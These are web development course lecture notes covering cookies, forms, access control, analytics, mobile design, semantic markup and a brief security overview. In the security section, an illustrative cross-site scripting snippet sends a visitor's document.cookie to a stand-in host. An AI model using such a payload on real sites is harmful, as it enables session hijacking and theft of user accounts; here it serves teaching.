Grab Bag

Grab Bag


May 4, 2011

Harvard University
Extension School

Course Web Site: http://cscie12.dce.harvard.edu/

Instructor email: david_heitmeyer@harvard.edu
Course staff email: cscie12@dce.harvard.edu


A form for lecture feedback will be available from the course web site. Please take two minutes to fill it out after you have seen the lecture.

Next Week

HTTP Cookies

HTTP Cookies

HTTP Cookies

HTTP is a stateless protocol. Cookies provide a mechanism to "maintain state".

Maintaining State with Cookies

Cookie Example

morpheus% lwp-request -USed http://espn.go.com/
User-Agent: lwp-request/2.07

GET http://espn.go.com/ --> 200 OK

Cache-Control: no-cache
Date: Tue, 10 Apr 2008 03:20:58 GMT
Pragma: no-cache
From: SPORTBARWEB08
Accept-Ranges: bytes
ETag: "802e571f7bc71:1762"
Server: Microsoft-IIS/5.0
Vary: Accept-Encoding
Content-Length: 122217
Content-Type: text/html; charset=iso-8859-1
Content-Type: text/html; charset=windows-1252
Last-Modified: Tue, 10 Apr 2008 03:19:21 GMT
Cache-Expires: Tue, 10 Apr 2008 03:24:22 GMT
Client-Date: Tue, 10 Apr 2008 03:21:02 GMT
Client-Peer: 198.105.193.43:80
Client-Response-Num: 1
P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE"
Refresh: 3600
Set-Cookie: SWID=C8F9AF31-F170-42BF-9471-50A95DA24C17; path=/; expires=Tue, 10-Apr-2027 03:20:59 GMT; domain=.go.com;
Set-Cookie: DE2=dXNhO21hO2NhbWJyaWRnZTt0MTs1OzQ7NDs1MDY7MDQyLjM4MDstMDcxLjEzNTs4NDA7MjI7ODg5OzY7Cg==; path=/; expires=Tue, 17 Apr 2008 03:00:00 GMT; domain=.go.com
  

ESPN Cookies

Cookie Properties/Attributes

HTTP State Management Mechanism, RFC 2965

RFC 2109, February 1997
RFC 2965, October 2000

Additional Cookie Notes

Your Cookies

Firefox Webdeveloper Toolbar has a "Cookies" section.
screenshot

Mozilla Cookie Manager
Mozilla Cookie Manager

Cookies and Session IDs

A UserID or SessionID (a long character/number string that is uniquely assigned) is often stored in cookie. The SessionID is used as the key or identifier when storing information about the user or session.

For example, a user logs in to a site. If the username and password match, the server sets a cookie ("Set-Cookie") in the browser that contains a session id; the server also makes an entry in website database that maps the session id to the username. When the cookie is returned, the session id is read and the username is looked up in the database.

http cookie illustration

Things you might want to do

Mail

FormMail Documentation. Note that this script can be used to send email only to addresses ending with .harvard.edu

Mail Form

Redirect user to a "Thank you" page with the "redirect" parameter.

formmail redirect

Example 14.1 - FormMail with 'redirect' page - View example by itself
      <form action="http://morpheus.dce.harvard.edu/cgi-bin/FormMail" method="get" enctype="application/x-www-form-urlencoded">
        <div>Name:<br/>
          <input type="text" name="realname"/></div>
        <div>Email:<br/>
          <input type="text" name="email"/></div>
        <div>Comments:<br/>
          <textarea rows="10" cols="60" name="comments"> </textarea></div>
        <div>
          <input type="hidden" name="subject" value="Feedback from Website"/> 
          <input type="hidden" name="recipient" value="dheitmey@fas.harvard.edu"/>
          <input type="hidden" name="redirect" value="http://www.littletontrack.org/thankyou_feedback.html"/>
        </div>
        <div>
          <input type="submit" value="Send"/>
        </div>
      </form>
    
Name:
Email:
Comments:
 

Form Data to a Database

FAS IT offers a Data Collection Tool that allows you to send data submitted via an HTML form to a database. The data can be viewed online (in HTML) or downloaded in an Excel file. Note that a Harvard HUID and PIN are required to use this tool.

Example 14.2 - Data Collection Tool from FAS IT - View example by itself
      <form method="post" action="https://www.datacollection.fas.harvard.edu/cgi-bin/form2db.cgi" enctype="application/x-www-form-urlencoded">
        <div>
          <input type="hidden" name="form2db" value="cscie12_test"/>
          <!-- Your form elements go here --> 
          What ice cream do you like?
          <br/>
          <input type="checkbox" name="icecream" id="ic_chocolate" value="chocolate"/>
          <label for="ic_chocolate">Chocolate</label>
          <br/>
          <input type="checkbox" name="icecream" id="ic_hcp" value="herrell's chocolate pudding"/>
          <label for="ic_hcp">Herrell's Chocolate Pudding</label>
          <br/>
          <input type="checkbox" name="icecream" id="ic_cpb" value="chocolate peanut butter"/>
          <label for="ic_cpb">Chocolate Peanut Butter</label>
          <br/>
          <input type="checkbox" name="icecream" id="ic_vanilla" value="vanilla"/>
          <label for="ic_vanilla">Vanilla</label>
          <br/>
          <input type="checkbox" name="icecream" id="ic_strawberry" value="strawberry"/>
          <label for="ic_strawberry">Strawberry</label>
          <br/>
          <input type="submit"/> </div>
      </form>
    
What ice cream do you like?





 

Google Forms

Lecture feedback form:
Google Forms

Here is what the instructor sees:
Google Forms

Search

Easy. Build a form and link to search engine:

Google Site Search

Example 14.3 - Google Site Search - View example by itself
      <form method="get" action="http://www.google.com/search" enctype="application/x-www-form-urlencoded">
        <div>
          <input type="text" name="as_q" size="50"/>
          <br/>
          <input type="submit" value="Search CSCIE-12 with Google"/>
          <input type="hidden" name="as_sitesearch" value="cscie12.dce.harvard.edu"/>
        </div>
      </form>
    

 

Site Search with Yahoo!

Example 14.4 - Yahoo! Site Search - View example by itself
      <form method="get" action="http://search.yahoo.com/search" enctype="application/x-www-form-urlencoded">
        <div>
          <input type="text" name="p" size="50"/>
          <br/>
          <input type="submit" value="Search CSCIE-12 with Yahoo!"/>
          <input type="hidden" name="vs" value="cscie12.dce.harvard.edu"/>
        </div>
      </form>
    

 

Define a Custom Search with Google

google custom search
Google Custom Search Form Example

The markup:

<div id="cse" style="width: 100%;">Loading</div>
<script src="//www.google.com/jsapi" type="text/javascript"></script>
<script type="text/javascript"> 
  google.load('search', '1', {language : 'en'});
  google.setOnLoadCallback(function() {
    var customSearchControl = new google.search.CustomSearchControl('013138775808213802097:nqjrv29o0qm');
    customSearchControl.setResultSetSize(google.search.Search.FILTERED_CSE_RESULTSET);
    customSearchControl.draw('cse');
  }, true);
</script>
<link rel="stylesheet" href="//www.google.com/cse/style/look/default.css" type="text/css" />

Other Site Search Options

Login / Restrict Access

Implementing Access Control

To implement access control, you must create a file name '.htaccess' that contains with the proper configuration instructions. You may also need to create a ".htpasswd" file using the utility "htpasswd" and a ".htgroup" file.

htpasswd file

.htpasswd
This file contains usernames and encrypted passwords (username:enc_passwd). It is created and managed with the utility, "htpasswd", which can be run from the command line.
morpheus% which htpasswd
/usr/bin/htpasswd
morpheus% htpasswd
Usage: htpasswd [-c] passwordfile username
The -c flag creates a new file.
    

Sample content:

morpheus% more ~e12/.htpasswd.demo
guest:79WeSn3vYGsKQ
guest2:wGcgIYLtHNIpM
guest3:j9VzpSX/C8Kr2
guest4:CjHmW1PWNFwXM

htgroup file

.htgroup
This file contains group definitions (group_name:member1 member2 ...).
VIP: guest guest4

Access Control Example 1

Any valid user in .htpasswd.demo is allowed access

The"AuthName" is the description that is displayed by the browser in the Basic Authentication dialog box.

Contents of sample .htaccess file:
AuthName "Basic Authentication Tutorial 1"
AuthType Basic
AuthUserFile /home/e12/.htpasswd.demo
require valid-user    
Demonstration of Example 1
You may login as any of the following users (username:password):
guest:guest
guest2:guest
guest3:guest
guest4:guest
morpheus% lwp-request -USed -C"guest:iforgot" http://cscie12.dce.harvard.edu/apache/access/example1/
GET http://cscie12.dce.harvard.edu/apache/access/example1/
Authorization: Basic Z3Vlc3Q6aWZvcmdvdA==
User-Agent: lwp-request/2.06

GET http://cscie12.dce.harvard.edu/apache/access/example1/ --> 401 Authorization Required
GET http://cscie12.dce.harvard.edu/apache/access/example1/ --> 401 Authorization Required
Connection: close
Server: Apache/2.0.49 (Fedora)
WWW-Authenticate: Basic realm="Basic Authentication Tutorial 1"
Content-Length: 492
Content-Type: text/html; charset=iso-8859-1
Client-Peer: 140.247.197.240:80
Client-Response-Num: 1
Client-Warning: Credentials for 'guest' failed before
Title: 401 Authorization Required


morpheus% lwp-request -USed -C"guest2:guest2" http://cscie12.dce.harvard.edu/apache/access/example1/
GET http://cscie12.dce.harvard.edu/apache/access/example1/
Authorization: Basic Z3Vlc3QyOmd1ZXN0Mg==
User-Agent: lwp-request/2.06

GET http://cscie12.dce.harvard.edu/apache/access/example1/ --> 401 Authorization Required
GET http://cscie12.dce.harvard.edu/apache/access/example1/ --> 200 OK
Connection: close
Accept-Ranges: bytes
Server: Apache/2.0.49 (Fedora)
Content-Length: 124
Content-Type: text/html; charset=UTF-8
Client-Peer: 140.247.197.240:80
Client-Response-Num: 1

Maps

Web Analytics

Javascript is used to collect information about the browser and request, and then it sends this information back to a server, typically as request parameters for a 1x1 pixel transparent GIF image.

Google Analytics

Google Analytics

JS included on page sends information back to Google Analytics server, which tracks and builds reports.

Example Reports

google analytics

google analytics

Overview of How Google Analytics Works

Javascript is included on page

<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
var pageTracker = _gat._getTracker("UA-2675499-2");
pageTracker._initData();
pageTracker._trackPageview();
</script>

Request for image contains information

Javascript causes an image to be requested from the Google Analytics Server. Parameters sent with the image request contain information about the page loaded and about the browser capabilities.

URL of image:
http://www.google-analytics.com/__utm.gif?utmwv=4.1&utmn=1726621737&utmhn=cscie12.dce.harvard.edu&utmcs=UTF-8&yutmsr=1680x1050&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=9.0%20%20r115&utmdt=Introduction%2C%20Internet%20and%20Web%20Basics&utmhid=99327265&utmr=0&utmp=/lecture_notes/2007-08/20080130/slide1.html&utmac=UA-2675499-2&utmcc=__utma%3D261712543.446246362.1206127732.1209398731.1209569723.25%3B%2B__utmz%3D261712543.1208810203.19.10.utmcsr%3Dgoogle%7Cutmccn%3D(organic)%7Cutmcmd%3Dorganic%7Cutmctr%3Djquery%2520tabs%2520cscie12%3B

Parameters sent (via query string):
google analytics parameters

Web Analytics Services and Software

Open Source Software

Services:

The Web and Mobile Devices

blackberry


"Native" Apps and Mobile Websites

mobile

Mobilize don't Miniaturize!

amazon mobile   amazon full

Content for Mobile Devices

m.mit.edu
m.mit.edu

Markup Languages for Mobile Devices

Historical ones...

Efforts from the W3C

Mobile Web Initiative

Mobile Web Initiative

"Mobile access to the Web has been a second class experience for far too long," explained Tim Berners-Lee, W3C Director. "MWI recognizes the mobile device as a first class participant, and will produce materials to help developers make the mobile Web experience worthwhile. "

Ubiquitous Web Applications

Ubiquitous Web Applications

The UWA Working Group focuses on extending the Web to enable distributed applications of many kinds of devices including sensors and effectors. Application areas include home monitoring and control, home entertainment, office equipment, mobile and automotive.

Development and Testing

opera mini simulator   iPhone simulator   Nokia simulator
Openwave simulator   Blackberry

Responsive Web Design

CSS media queries:

<link rel="stylesheet" type="text/css"
  media="screen and (max-device-width: 480px)"
  href="shetland.css" />

responsive wide screen

responsive medium screen

responsive small screen

Web Fonts

Google Font API and Directory

<link rel="stylesheet" 
  href="http://fonts.googleapis.com/css?family=Permanent+Marker|Droid+Sans" 
  type="text/css" />
<style type="text/css">
  body { font-family: Droid Sans, serif; }
  h1, h2, h3, h4, h5, h6 { 
    font-family: "Permanent Marker", sans-serif 
  }
</style>

Web Fonts in Action

The Semantic Web

The Semantic Web at the W3C

In addition to the classic "Web of documents" W3C is helping to build a technology stack to support a "Web of data," the sort of data you find in databases. The ultimate goal of the Web of data is to enable computers to do more useful work and to develop systems that can support trusted interactions over the network. The term "Semantic Web" refers to W3C's vision of the Web of linked data. Semantic Web technologies enable people to create data stores on the Web, build vocabularies, and write rules for handling data. Linked data are empowered by technologies such as RDF, SPARQL, OWL, and SKOS.

Semantic Web Readings


Semantic Web Content

Resource Description Framework (RDF)

Built around

triple

RDF Example

English version:

RDF representations:

Dublin Core Metadata Initiative

15 metadata elements of "Dublin Core"

RDF in XHTML - RDFa

RDFa Primer
Bridging the Human and Data Webs
W3C Working Group Note 14 October 2008

Today's web is built predominantly for human consumption. Even as machine-readable data begins to appear on the web, it is typically distributed in a separate file, with a separate format, and very limited correspondence between the human and machine versions. As a result, web browsers can provide only minimal assistance to humans in parsing and processing web data: browsers only see presentation information. We introduce RDFa, which provides a set of XHTML attributes to augment visual data with machine-readable hints. We show how to express simple and more complex datasets using RDFa, and in particular how to turn the existing human-visible text and links into machine-readable data without repeating content.

RDFa and License

Rendered:

Creative Commons License
This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 License .

Markup ( rel=license ):

<p>
    <a rel="license" 
        href="http://creativecommons.org/licenses/by-nc-sa/3.0/">
        <img alt="Creative Commons License" 
            style="border-width: 0" 
            src="http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png"/>
    </a>
    <br/>This work is licensed under a 
    <a rel="license" 
        href="http://creativecommons.org/licenses/by-nc-sa/3.0/">
        Creative Commons Attribution-Noncommercial-Share Alike 3.0 License
    </a>. 
</p>

RDF Triple

rdfa license

<http://example.com/documents/1234> license <http://creativecommons.org/licenses/by-nc-sa/3.0/>

RDFa and the Dublin Core

Examples from the RDFa Primer:

<div xmlns:dc="http://purl.org/dc/elements/1.1/">
   <h2 property="dc:title">The trouble with Bob</h2>
   <h3 property="dc:creator">Alice</h3>
</div>

rdfa


<div about="http://example.com/bob/photos/sunset.jpg">
  <img src="http://example.com/bob/photos/sunset.jpg"/>
  <span property="dc:title">Beautiful Sunset</span> 
  by <span property="dc:creator">Bob</span>. 
</div>

rdfa

Microformats

Designed for humans first and machines second, microformats are a set of simple, open data formats built upon existing and widely adopted standards.

Calendar Microformat (hCal)

vCalendar:

vCalendar information for Project Presentation event:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VEVENT
SUMMARY:Final Project Presentations
LOCATION:1 Story Street, Room 310, Cambridge, MA
DESCRIPTION:Groups will present their final projects. 
Source: http://cscie153.dce.harvard.edu/
DTSTART:20091215T003000Z
DTEND:20091215T023000Z
END:VEVENT
END:VCALENDAR

Markup for hCalendar:

Microformat for Project Presentation event:

<div class="vevent" id="hcalendar-Final-Project-Presentations">
  <a class="url" href="http://cscie153.dce.harvard.edu/">
    <abbr class="dtstart" title="20091215T1930-0500">Tuesday, December 15, 2009. 7:30pm</abbr>
    to 
    <abbr class="dtend" title="20091215T2130-0500"> 7:30pm</abbr> &mdash; 
    <span class="summary">Final Project Presentations</span>&mdash; at 
    <span class="location">1 Story Street, Room 310, Cambridge, MA</span>
  </a>
  <div class="description">Groups will present their final projects.  </div>
</div>

Rendered:

And this would appear in a browser as:

Tuesday, December 15, 2009. 7:30pm to 7:30pmFinal Project Presentations— at 1 Story Street, Room 310, Cambridge, MA
Groups will present their final projects.

Bookmarklet that Parses Microformat

Tuesday, December 15, 2009. 7:30pm to 7:30pmFinal Project Presentations— at 1 Story Street, Room 310, Cambridge, MA
Groups will present their final projects.

parsed microformat

Contact Microformat Example

Contact information (vCard):

    BEGIN:VCARD
    FN:DavidPhilipHeitmeyer
    N:Heitmeyer;David
    ORG:Harvard University, Division of Continuing Education
    NOTE:Source: tomcat.localhost
    ADR:;;1 Story Street, Room 310;Cambridge;MA;02138;United States;
    EMAIL:david_heitmeyer@harvard.edu
    URL:http://cscie153.dce.harvard.edu/
    TEL;617-555-1212:617-555-1212
    END:VCARD

hCard Microformat

Markup:

<div id="hcard-David-Philip-Heitmeyer" class="vcard">
    <a class="url fn n" href="http://cscie153.dce.harvard.edu/">
        <span class="given-name">David</span>
        <span class="additional-name">Philip</span>
        <span class="family-name">Heitmeyer</span>
    </a>
    <div class="org">Harvard University, Division of Continuing Education</div>
    <a class="email" href="mailto:david_heitmeyer@harvard.edu">david_heitmeyer@harvard.edu</a>
    <div class="adr">
        <div class="street-address">1 Story Street, Room 310</div>
        <span class="locality">Cambridge</span> , 
        <span class="region">MA</span> , 
        <span class="postal-code">02138</span>
        <span class="country-name">United States</span>
    </div>
    <div class="tel">617-555-1212</div>
    </div>

Rendered:

David Philip Heitmeyer
Harvard University, Division of Continuing Education
1 Story Street, Room 310
Cambridge , MA , 02138 United States
617-555-1212

Bookmarklet:

microformat

HTML5: microdata

Microdata for:

Microdata Example

<div itemscope itemtype="http://data-vocabulary.org/Organization">
    <h1 itemprop="name">Crema Cafe</h1>
    <p itemprop="address" itemscope itemtype="http://data-vocabulary.org/Address">
      <span itemprop="street-address">27 Brattle Street</span>,
      <span itemprop="locality">Cambridge</span>,
      <span itemprop="region">MA</span>.
    </p>
</div>
    

Microdata


Microdata information:

Search Engines and Semantic Web

"Organic" Semantic Web

The Semantic Web is here and yet to come

Privacy and Security

[Client, Server, Connection]

User / Client

Provider / Server

Common

Phishing

Phishing from Wikipedia.

Emails and sites that pretend to be someone or something else in order to get you to give private and/or confidential information.

Example site:
phishing

Example emails:
phishing

Cross-Site Scripting (XSS)

XSS takes advantage of inserted scripts and/or markup into a dynamically generated page. When an unsuspecting user loads the page, the script is executed. Risk of XSS increases with the wide-spread use of Ajax.

XSS Example

Simple example for illustration:

Blog post on a site that allows JavaScript content:

<script type="text/javascript">                                                           
document.write('<img src=\"http://myothersite.com/steal.gif?cookie='
                + escape(document.cookie) 
                + '\"/>');
</script>

Which could render as:

<img src="http://myothersite.com/steal.gif?cookie=SESSIONID%3D9GQ0Soz3xfAAABF1awUAAAAC" />

HTTPS: SSL/TLS

Encryption of communication between browser and server.

SSL
Secure Sockets Layer
TLS
Transport Layer Security

Details of an SSL/TLS certificate from isites.harvard.edu shown in Firefox
cert

Certificate Authorities (CAs) bundled with Firefox
firefox certificate manager

Encryption Basics

Plaintext, Ciphertext, Key, Algorithm

Symmetric Key Cryptography

Symmetric Key Cryptography

Public Key Cryptography

Public Key Cryptography

Digital Signatures

Public Key + Signature

Brower and Server and SSL/TLS

Digital Envelopes

Public key cryptography is much slower than symmetric key cryptography. In practice, the two systems are usually combined:

A question of Identity

Certifying Authorities (CAs) and Server Certficate

  1. Generate a public/private key pair
  2. Send your public key to a CA
  3. CA verifies your identity and signs your public key with its own private key
  4. Your signed certificate identifies you; analagous to your "passport".

Some CA Companies

Web Hosting


A very short list of hosting companies that I've done business with.

Run Apache Locally!

Oh the Places You Can Go!

Copyright © 1998-2011 David P. Heitmeyer

Bookmark and Share